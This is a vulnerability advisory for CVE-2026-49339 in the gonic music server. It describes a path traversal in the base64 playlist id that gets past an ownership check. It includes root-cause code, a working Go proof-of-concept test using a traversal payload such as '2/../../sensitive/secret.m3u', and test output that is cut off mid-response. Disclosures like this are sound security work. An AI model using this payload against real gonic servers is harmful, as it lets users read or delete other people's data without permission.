🛡️ CVE-2026-49339 — gonic

gonic: Path Traversal in playlist id bypasses ownership check, enabling any user to read/delete other users' playlists

Summary

The maintainer's recent fix in [6dd71e6a3c966867ef8c900d359a7df75789f410](https://github.com/sentriz/gonic/commit/6dd71e6) (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path.

Any authenticated Subsonic user can therefore bypass the ownership check and:

1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by .. traversal segments pointing into another user's playlist directory.

2. Delete any other user's playlist (including admin's curated playlists) by the same trick against deletePlaylist.

3. Probe arbitrary file paths on the host for existence/readability.

This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).

Root cause

server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:

```go

func playlistIDDecode(id specid.ID) string {

path, _ := base64.URLEncoding.DecodeString(id.StringValue)

return string(path)

}

```

playlist/playlist.go::Store.Read then:

```go

absPath := filepath.Join(s.basePath, relPath) // no containment check

// ...

playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2"

if err != nil {

playlist.UserID = 1 // fallback

}

```

userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.

The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ... → false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.

Affected code

• playlist/playlist.go:88-144 — Store.Read joins relPath with basePath without containment validation
• playlist/playlist.go:200-206 — Store.Delete (same pattern)
• playlist/playlist.go:208-220 — userIDFromPath / firstPathEl trust only the first path segment
• server/ctrlsubsonic/handlers_playlist.go:51-72 — ServeGetPlaylist ownership check
• server/ctrlsubsonic/handlers_playlist.go:182-202 — ServeDeletePlaylist ownership check
• server/ctrlsubsonic/handlers_playlist.go:209-212 — playlistIDDecode (no validation)

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_read_traversal_test.go and run go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v:

```go

package ctrlsubsonic

import (

"fmt"

"net/url"

"os"

"path/filepath"

"testing"

"github.com/stretchr/testify/require"

)

func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {

f := newFixture(t)

t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)

// Plant a sentinel M3U file outside the playlists directory.

tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)

sentinelDir := filepath.Join(tmpDir, "sensitive")

require.NoError(t, os.MkdirAll(sentinelDir, 0o755))

sentinelPath := filepath.Join(sentinelDir, "secret.m3u")

require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret"

#GONIC-COMMENT:"sensitive content"

#GONIC-IS-PUBLIC:"false"

`), 0o644))

// RAW string — playlistIDDecode does base64 only, no path cleaning.

rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)

traversalID := playlistIDEncode(rawRel).String()

// f.alt is the NON-ADMIN user.

resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})

t.Logf("resp: %s", string(resp))

require.Contains(t, string(resp), "victim-secret",

"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID)

}

```

Test output against current master HEAD 6dd71e6:

```

=== RUN TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix

alt user ID: 2, admin user ID: 1

resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,

"playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==",

"name":"victim-secret","comment":"sensitive content","owner":"alt",

"